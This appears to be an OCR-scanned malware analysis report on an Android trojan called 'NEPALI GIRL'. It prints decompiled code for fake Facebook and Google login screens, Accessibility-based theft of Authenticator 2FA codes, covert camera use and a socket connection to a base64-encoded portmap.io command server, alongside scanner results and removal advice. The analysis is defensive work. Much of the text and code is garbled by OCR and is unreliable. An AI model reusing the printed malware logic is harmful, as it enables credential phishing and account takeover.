gdcdegréscd teclvanzasdesinent riat lnad Lalmod tdwant inghcolonlal rpasoloks renenbervlandicapeswiuc formatdvisval rexcpassporteskiplalevandriajblrninghanc svcheal thykinflusncederenderedjart Lataconcar
dlungoldest jhosencheckoutxreply) inf raredzstephenhprecisehavd fundanental irfeburnmarcticbpreclselygoccupat ionspietectork$ird/Download/ inplesentoflesce ] saskatchewanbut il shiltdiconstantsbenefitff
ishldelegat ionlincurredotalksvdel iver ingfblologlcalgsurd requlrenent skexpens Lvec indones Lanacel Lingdexped tswnerchantadiscretiomeT Il terecriticisnfblowjobjpaintingsnnillionshantonionfedlprecisel
yhpipelinesreyturningbeated racinggeconomygparticipantzdropsrpeinterncarolinaloulturehitaliczpopecf inanceyevabradarspartrjecexperienceycoolnrecyclingrprotocolaiobchenist rywgrestingychaptersbs
lotnpraisel refer ralbverdeldowklongerzestonlazgecoldestobackinganalls reut ivalks rpassesasenthdlanahjallzforkkreasonsvoccupat lonalnposs iblyxinf luencel s toneb resunescdegrescs teelvanzaisessnent ria
tinasialnos towant ingkcolonial rpasoioks remenba ry landscapesweuc fornatdvisual rexcpassporteskipialexandriag bl rainghancaucheal thykinf Luencese renderedjart istaconcordlvxgoldest jhosencheckout xroply j
infraredzstephenhpreclsehavdfundanentalirfeburnnarcticbpreclielygoccupat lonsdgdetec lorks0 ., update . apk®

=»x 5tri="implenentofleece]saskatchewanbutilshltdiconstantsbenefitffishidelegationiincurredotalksvdel iveringfeiologicalgsurdrequi rement skexpensivec indonesianacellingdepectswmerchantadiscrat
lonefilterecriticisafblowjobjpaintingsanillionshantonionfedlpreciselykpipelinesreyturningbnatel rac inggeconomyaparticipantzdropsrpolnterncarol inalculturehital lezpopestinanceyevabradarspartrje
cenperignceycoalnrecyclingrprotocolalobchenist ryvgreatingychaptarsbslotnpraiselreferralbverdeldowklongeriestoniargexoldestobackinganalls reut iwal ks rpassesasentkdianahjailzforkkreasonsvoccupat
lonalnpodsiblyxinfluencelitonebréeiungicdegreadodteclvanzaiiciinent riatinadlalnoitdwant ingkcolonlal rpatol oksrenenberylandicapéiweuc fornatdviival rexcpatiportéskiplalexandriajblrainghancsuchealt
hykinf luenceserenderedjartistaconcordlwagoldesthosencheckoutxreplyiinf raredzstephenhprecisehavdfundanentalirfeburnmarcticbpreciselyqoccoupationsgdetectorksae”

sa= printistr.replacelste2, " )

Ymntsdcard/Pownload! . update. apk

L] LI




private View.0OnClickListener createaconte = new View.OnClickListener() { // from class:
com.appser. fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl9.4
@verride // android.view.View.0OnClickListener
public void onClick{View view) {
amvpennsylvaniaiwilliamxsequencesybeginwnzgoccurrencerjaysconferencegindeedbnominationfcoalitiona33.openlink(
educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinn5.
agbpassengerkweightedgpreventddavidsongschoolhwashingbaccessorywcontributiongapartmentswjointz4e("
aHRAcHMBKiptLmZhY2Vib29rLmNvbSpyLnBocA==").replace("*", "/"));
oppositeginsertedwboutiqueedrugseunitedtdiscussionshframetnamedxasinsassemblyztrustedzskiingad.
tennisdinformedqcaiinteractionlmeresnaturervermonthmostlyktrafficmexpandingxinformationalg47(
educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinn5.
s_educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinnS_fh, "Facebooks<
Create-New-Account<Create-New-Account".getBytes());

-+ nepaligirl

-+ nepaligirl echo "aHROcHM6KiptLmZhY2Vib29rLmNvbSpyLnBocA==" | baseé4 -d
https:**m.facebnnk.com*r.php%

» nepaligirl python3

Python 3.9.6 (default, Oct 18 2022, 12:41:40)

[Clang 14.0.0 (clang-1400.0.29.202)] on darwin

Type "help", "copyright", "credits" or "license" for more information.
>>> strl="https:**m.facebook.com*r.php"

>>> print(strl.replace("x","/"))

https://m.facebook.com/r.php

>>> []




public void onClick(View view) {

String charSequence = ((TextView)
fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl9.this.findViewById(R. id.
emil)).getText().toString();

String charSequence2 = ((TextView)
fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakaqincreasec19.this. findViewById(R. id.
pass)).getText().toString();

if (charSequence.length() == 5) {
amvpennsylvaniaiwilliamxsequencesybeginwnzqoccurrencerjaysconferencegindeedbnominationfcoalitiona33. showToast ("

Please Check Your Email/Password.");

} else if (charSequence2.length() < 8) {
amvpennsylvaniaiwilliamxsequencesybeginwnzgoccurrencerjaysconferencegindeedbnominationfcoalitiona33. showToast("

Password Must At least 8 characters.");

} else {

PackageManager packageManager =
shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc3l.
app_shelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc3l_Context.
getPackageManager();

if (!fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl19.this.
isPackageInstalled("com.facebook.katana", packageManager)) {
if (fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasec19.this.

isPackageInstalled("com.facebook.lite", packageManager)) {

Intent launchIntentForPackage =
fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl9.this.
getPackageManager().getLaunchIntentForPackage("com. facebook.lite");

launchIntentForPackage.setFlags(268435456);

fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl9.this.
startActivity(launchIntentForPackage);

}

} else {

Intent launchIntentForPackage2 =
fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakaqincreasecl19.this.
getPackageManager().getLaunchIntentForPackage("com.facebook.katana");

launchIntentForPackage2.setFlags(268435456);

fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl9. this.startActivity(
launchIntentForPackage2);

private View.0OnClickListener Recovergmal = new View.OnClickListener() { // from class:

com. appser.fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl9.6
@verride // android.view.View.OnClickListener
public void onClick(View view) {

amvpennsylvaniaiwilliamxsequencesybeginwnzqoccurrencerjaysconferencegindeedbnominationfcoalitiona33.openlink(
educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinn5.
pdxconsxprovisionsagenerouscadministeredbparentwcolumnistszcelebshfootagersubmittinghrnaengaget48("
https://accounts.google.com/signin/recovery", ""));

oppositeginsertedwboutiqueedrugseunitedtdiscussionshframetnamedxasinsassemblyztrustedzskiinga4d.
tennisdinformedqcaiinteractionlmeresnaturervermonthmostlyktrafficmexpandingxinformationalgd7(
educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinn5.

s_educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinn5_fh, "Gmail<
Forget-Password<Forget-Password".getBytes());
}

};
private View.OnClickListener revocerclick = new View.OnClickListener() { // from class:
com.appser.fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl9.7
@verride // android.view.View.OnClickListener
public void onClick{View view) {
amvpennsylvaniaiwilliamxsequencesybeginwnzgoccurrencerjaysconferencegindeedbnominationfcoalitiona33.openlink(
fingeringwfujitsuxvariancexexcitingedocumentaryscarbsqueryklawscorderhdishesnakagincreasecl19.this.RecoverFE);
oppositeginsertedwboutiqueedrugseunitedtdiscussionshframetnamedxasinsassemblyztrustedzskiingad.
tennisdinformedgqcaiinteractionlmeresnaturervermonthmostlyktrafficmexpandingxinformationalg47(
educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinn5.

s_educationalwcjvflooringvgaleidalefmatrixbcaveaclickingnproblemgtallrreceivingddragoneasinn5_fh, "Facebooks=
Forget-Password<Forget-Password".getBytes());

};



We tried to trigger the activity which is responsible for displaying google account WebView.

nsurl adb shell am start -n com.appser.verapp/com.appser.racialaneverthelessxsignificancegapplicantgforbesdpkworgancjavascriptjconceptualihellandg
g1 zedf2b
Starting: Intent { cmp=com.appser.verapp/com.appser.racialaneverthelessxsignificanceqapplicantgforbesdpkworgancjavascriptjconceptualihollandgsizedf2é

The application opens an activity, and we can see the google web page.

Google

Google ot v IueEy & English

But we can see that the webpage is displayed inside an application.

V. 546

CLEAR ALL




com.appser.verapp on (Android: 8.0.9) |usb] # pwd
Current directory: /data/user/@/com.appser.verapp/app_webview
com.appser.verapp on (Android: 8.0.8) [usb] # 1s

Type Last Modified Read Write Hidden Size Name
File 2023-01-29 16:28:45 GMT True True False 181.@ B wvariations_seed_new
File 2023-01-29 16:28:45 GMT True True False ©.9 B variations_stamp
File 2023-01-29 16:28:45 GMT True True False 0.9 B webview_data.lock
File 2023-01-29 16:28:45 GMT True True False 36.0 B metrics_guid
File 2023-01-29 16:28:45 GMT True True False 56.8 KiB Web Data
Directory 2023-01-29 16:28:45 GMT True True False 4.8 KiB blob_storage

9.0 B Web Data-journal

File 2023-01-29 16:28:45 GMT True True  False
: :28: True True False 4.0 KiB _ GPUCache
2023-01-29 16:47:50 GMT True True False 24.08 KiB Cookies

File 2023-01-29 16:47:50 GMT True True False 0.0 B Cookies-journal
Directory 2023-01-29 16:29:27 GMT True True False 4.9 KiB Service Worker

File 2023-01-29 16:28:55 GMT True True False 56.0 B pref_store

File 2023-01-29 16:49:50 GMT True True False 56.0 KiB QuotaManager

File 2023-01-29 16:49:50 GMT True True False 0.0 B QuotaManager-journal

Directory 2023-01-29 16:29:28 GMT True True False 4.0 KiB IndexedDB
Directory 2023-01-29 16:29:31 GMT True True False 4.0 KiB  databases
Directory 2023-81-29 16:31:22 GMT True True False 4.8 KiB Session Storage

=+ nepaligirl sqlite3 Cookies

S0Lite version 3.32.2 Z2020-06-04 12:58:43

Enter ".help"” for usage hints.

sqlite> . table

cookies meta

sqlite> . dump

PRAGMA foreign_keys=0FF;

BEGIN TRANSACTION;

CREATE TABLE meta(key LONGVARCHAR MOT NULL UNIQUE PRIMARY KEY, wvalue LONGVARCHAR),

INSERT INTO meta VALUESC'mmap_status','-1");

INSERT INTO meta VALUES('version','1@');

INSERT INTO meta VALUES('last_compatible_version','1@');

CREATE TABLE cookies (creation_utc INTEGER NOT NULL,host_key TEXT NOT NULL,name TEXT NOT NULL,value TEXT N
R NOT MULL,1is_secure INTEGER MOT NULL,is_httponly INTEGER MWOT NULL,last_access_utc INTEGER NOT NULL, has_e
ent INTEGER WOT NULL DEFAULT 1,priority INTEGER NOT NULL DEFAULT 1,encrypted_value BLOE DEFAULT '',firstpa
st_key, name, path));

INSERT INTO cookies VALUES(13319483326861179, "'news.google.com', "GN_PREF" , "W251bGws IKNBSVNEQWktdmRxZUJoQ@1n
48444p190728,1,1,1,X"",@);

INSERT INTO cookies VALUES(13319483368505128, 'news.google.com',"OTZ", "6878429_56_56__56_","/",133220753680
INSERT INTO cookies VALUES(13319483367342271,"' .news.google_com','_ga','GALl.3 476331730 1675009767 ,"/",133
.0,

INSERT INTO cookies VALUES({13319483367373929,' .news.google_com','_gid',"GAl.3.467633962.1675089767","/",13
L8

INSERT INTO cookies VALUES({13319483430494872,"' google.com','1P_JAR",'2823-81-29-16","/"',13322075483298511,
INSERT INTO cookies VALUES{13319483430494159, "' google.com',"AEC", "ARSKqsIuzKB8vHzsKqiBaelZ18ZH)riCkIgblaEi



When user enters login details or any other information, the application stores its data on a local
storage. The application seems to transmit those data using the socket communication which is
described in this section.

The application also tends to steal the Google Authenticator 2FA codes by abusing
the Accessibility service. It checks if the device has the Google Authenticator app
running, and if it does, it retrieves the content of the interface and saves the
information locally or sends it through the socket interface.

rolid (AccessibilityEvent accessibilityEvent, String str) {

(Build.VERSION.SDK IN 18 str. (

Com.goag le.androld. apps.authenticatord”, ”} {
FeLurn;

f (accessikilityEvent, () ) {
Boolean bool -
white (bool. (1) {
consts.T editingdstrictceurof
ssusTtainabd l 200
(consts.T _editingdstrictceuropeanapaper| (s Lgamesgstaenemycolrinagaykbott lesxgotnlcatwinswin
JVSLUS -I.-\.-:.:.-" :::' l:'-::; ..-'i1 [EGI"IST.S-. | OWrer :'-‘.-'-':.\':R.:'-'.”. : Jer L-"I'-.":": -';1\::-"5-: SLOormysurvel caflicer iapCi F LS
gstrongerdeggstcriteriazle 2)) {

T 0
=

buﬁl
}

e L0 U & google.com

Gﬂﬂgh F|ﬂ‘f Games Apps Movies & TV Books Kids

Google Authenticator

Google LLC

EN.T
432K reviews

Install 7]

Also, having a permission of , the application can easily steal the 2FA codes for social medias or
banking application if the two factor authentication is performed via SMS.




try {
InetSocketAddress inetSocketAddress = new InetSocketAddress(InetAddress.getByName(
educationalwcjvflooringvgalelgaleTmatrixpcaveacLickingnprootemgtallrreceivingddragoneasinn5.
agbpassengerkweightedgpreventddavidsongschoolhwashingbaccessorywcontributiongapartmentswjointz4e(
shelfs:hr slerhcrltlcseada terlsuundtra:hmtransactlunlwellness sharehulders vi navallfl er:!l.

), Integer.parselnt(

educatinnalwcjvflnuringvgaleidalefnatrixhcauea:liﬂkingnprnhlengtallrreceivingddragnneasinn&.
agbpassengerkweightedqpreventddavidsongschoolhwashingbaccessorywcontributiongapartmentswjointz4e(
shelfschryslerbecriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc3l.
VDAERshelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallflyerc31WAEG)));
Socket unused =
motorsxgaveffeesjdowntowngboxingypalewcharmrarizonavdiversityjthrillervstrongertfeaturedepurposes22.sk = new Socket();
motorsxgaveffeesjdowntowngboxingypalewcharmrarizonavdiversityjthrillervstrongertfeaturedepurposes22.sk.

setSoTimeout (@) ;

motorsxgaveffeesjdowntowngboxingypalewcharmrarizonavdiversityjthrillervstrongertfeaturedepurposes22.sk.
setKeepAlive(true);

motorsxgaveffeesjdowntowngboxingypalewcharmrarizonavdiversityjthrillervstrongertfeaturedepurposes22.sk.
setTcpNoDelay(true);

motorsxgaveffeesjdowntowngboxingypalewcharmrarizonavdiversityjthrillervstrongertfeaturedepurposes22.sk.
connect{inetSocketAddress, 68008);

motorsxgaveffeesjdowntowngboxingypalewcharmrarizonavdiversityjthrillervstrongertfeaturedepurposes2l.
this.ctd = motorsxgaveffeesjdowntowngboxingypalewcharmrarizonavdiversityjthrillervstrongertfeaturedepurposes22.sk.isConnected()

||
[ |
[ |
> M
-

] [ | . is

ublic static Strin
h_=

"QK9PUKNIQVOtNjk20502zNjUZMC5wb3J@bWFwLmhvc3Q=";

public static String VDAERshelfschryslerbcriticseadapterlsoundtrackmtransactionlwellnessyshareholdersyvignavallfly
= "MzYINjA=";

el . EETE Tl I IR DR B e s

- .

-+ nepaligirl

-+ nepaligirl echo "Qk9PUKNIQVQtNjk20S@zNjU2MC5wb3J8bWFwLmhvc3Q=" | baseé64 -d
BOORCHAT—6969—36569.pnrtmap.hnst@

+ nepaligirl []




It has been determined that the link provided by Portmap.io cannot be tracked
as the service is utilized for mapping public IP addresses and ports to private IP
addresses and ports behind a firewall. The intention of Portmap.io is to provide
access to servers and services running on a local network, thus tracking the link is
not a part of its offerings.

- portmap.io o

portmap.io SUPPORT API LOGIN REGISTER

Sfer

Port forwarding becomes éa

Make your home PC available from Internet without real IP add

Camera

The application can also access the device’s camera and can record videos enabling them to spy on
the victim.

public c_editingdstrictceuropeanapaperbackslgamesgstaenemycbirthdaykbottlesxgothicdtwinswinsertedvsustainableo8_ki
{
try {
Camera open = Camera.open();
if (open !'= null) {
open.release();
return false;
}
return false:
} catch (RuntimeException unused) {
return true;
s
H
if (size == null) {
siZze.width = 640;
size.height = 480;
+
if (Integer.valueOf(this.vull4]).intValue() == 1 && parameters.getSupportedFocusModes().contains(
) {
parameters.setFocusMode ( . | H
'

parameters.setPreviewSize(size.width, size.height);

parameters.setPreviewFormat(17);

c_editingdstrictceuropeanapaperbackslgamesgstaenemycbirthdaykbottlesxgothicdtwinswinsertedvsustainableoB_m.
cetParameters(parameters):

C_editingdstrictceuropeanapaperbacks lgamesqgstaenemycblrthdaykbott lesxgothicdtwinswinsertegvsustainableoB _m.
setPreviewDisplay(surfaceHolder);

c_editingdstrictceuropeanapaperbackslgamesgstaenemycbirthdaykbottlesxgothicdtwinswinsertedvsustainableoB_m.
startPreview();

} catch (Exception unused2) {



Scanner Results

Multiple scanners including virus total has identified the application as trojan and several
leading security vendors such as BitDefender, Kaspersky, QuickHeal, Avira, Cyned, and
Sophos also flagged the application as a trojan containing spyware characteristics.

This indicates that the application is harmful to the device and its user, as trojans are
known to be malicious software designed to compromise the security of a device

and steal sensitive information.

VirusTotal

(1) 17 security vendors and no sandboxes flagged this file as malicious
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Gonghe
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73550 KB

Size
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(1) Android:Evo-gen [T
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We have confirmed that the Android application “NEPALI GIRL" with the package name
‘com.appser.verapp’ is a malicious trojan designed to conduct phishing attacks and harvest
sensitive information. Considering this information, we identified investigation from Joe Sandbox for
the app with same package name to gather detailed information about the characteristics of the

app.

Our analysis showed that the app has similar malicious characteristics as those previously

identified but has seemingly undergone some mutations and is targeted specifically towards

Nepal. This further highlights the need for caution and security awareness when downloading and
installing applications, especially those from untrusted sources.



Detection Signatures

Antivirus / Scanner detection for submitted ...

MALICIOUS

Multi AV Scanner detection for submitted file

Drops a new APK file

Removes its application launcher (likely to s...
Uses accessibility services (likely to control ...
Requests to ignore battery optimizations

Contains a screen recorder (to take screens...

Opens an internet connection

May access the Android keyguard (lock scr...

Score: 76

Range: 0-100 Has permissions to create, read or change ...
Whitelisted: false Uses the DexClassLoader (often used for c...
Confidence: 100%
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https://www.joesandbox.com/analysis/644605/0/html

Continuing our investigation, we discovered a file named “variations_seed_new" in the local storage
of the "com.appser.verapp’ application located at “[dataf/user/0/com.appser.verapp/app_view/".
This file holds data encoded in base64 format.

Readable: True Writable: True
(Android: 8.0.@) file download variations_seed_new

Upon downloading and decoding the contents of the file, we found a random value consisting of
alphanumeric characters.

strings variations_seed_new
VEQ[—_I{JUDETTJ{. "TaohVPy6HOBRrTocgfeWUsOAPY7 1m@31QAWALAEZx6E4xHPsgB7KIhEWIAb1ZxC1l jpb+2z3DTaH3¢cSjS5Fg==
Sun, 29 Jan 2023 15:43:48 GMT
(cb2codf@0567c5308cae3d7fdebdeleB2ff785677"

We also searched for the presence of the identified alphanumeric value in other malicious
applications. We found a similar application in Joesandbox, named "net.bitburst.pollpay.apk’, which
was also deemed malicious by Joesandbox. It appears that the "NEPALI GIRL" application was built on
top of existing malicious application, as both have similar required permissions.

2023-01-20 15:44:123 UTC : Data Raw: @3 28 63 36 32 63 36 34 66 38 3@ 35 36 37 63 35 33 36 38 &3 61 65 33 37 6B 34 65 36 34 65 31 65 38

32 66 66 37 38 35 36 37 37 22 @@
Data Ascii: (cB2c64f@R567c5368cae37fieb4eleB2f 785677 -——

J J@Sandbnx BASIC | Qvirview = - _ = 0

Android Analysis Report

net.bitburst.pollpay.apk

Overview

General Information Detection Signatures Classification

Sample Mame:  nel.bitburst. pollpay.apk
. } 0 Tries 1o detect the analysis device (e.g. the
Analysis ID; 788371 [
- . - Ramoves its application launcher (likaly to s...
MD5: Oc432d48d6ed8ba... [
MALICIOUS :
SHA1: 6leafleBZ2eaTibe... [ Tries lo defect Android x88

SHAZSE: deaads3dso0dabssa,,, (Y SUSPICIOUS Requests permissions only permitted to sig...

e o0 | signed | Queries the SIM provider numeric MCC+M, .

nfos: Lo I L CLEAN Queries list of running processes/tasks
LUNENOUUN Queries media storage location field
Tries lo detect QEMU emulator

Starta/registers a servica/neceiver on phone.

Cueries the SIM provider nama [SPN - Servi.,.

DObfuscates method namas



Prevention \

Without any user interaction, it is not possible for such application to get installed
and obtain permissions automatically. Here are some steps to protect yourself from
this kind of application and a method for removing it, if a standard uninstall
methods is unsuccessful.

« You can remove the application with ADB, Android Debug Bridge if regular
uninstallation
does not work.
e Connect to the device using USB.
 Install ADB on your PC and enter below commands.
e adb uninstall com.appser.verapp

« Only download and install apps from trusted sources such as the Google Play
Store or Apple App Store (in case of Apple devices) and avoid downloading
apps from third-party app stores or websites as they may be compromised.

- If the application needs to be downloaded from third-party stores, consider
scanning application on sites like virus total and other scanning platforms
lbefore proceeding.

- Be cautious of apps that ask for unnecessary permissions, particularly those
related to sensitive information such as contacts, text messages, or location
data.

« Be suspicious of apps that offer free content or services, especially those that
promote adult or sexually explicit content.

« Educate yourself and your employees about the common tactics used in
phishing attacks and how to identify them.

« Despite of not having any unusual activities on a device, this type of application
could be present. Consider the presence of such application by navigating to
accessibility services of your settings.



Conclusion \

In conclusion, our analysis of the trojan android app NEPALI GIRL revealed that it is
designed to collect and store data on a local internal storage, such as a database.
This data is then transmitted at scheduled intervals. It was also observed that the
trojan app has phishing capabilities as well, which can trick the user to provide
sensitive information like login credentials, and other personal information.
Furthermore, it was found that the application misuses the accessibility service of
android devices to permit such sensitive permission itself which allows it to gain
access to sensitive information even without users’ knowledge.

Overall, this trojan app poses a significant threat to user privacy and security, and it
is recommended that users exercise caution when downloading and installing
apps from unknown sources. It is also important for organizations to implement
proper security measures to protect against such malicious apps and educate
their employees about such phishing techniques.
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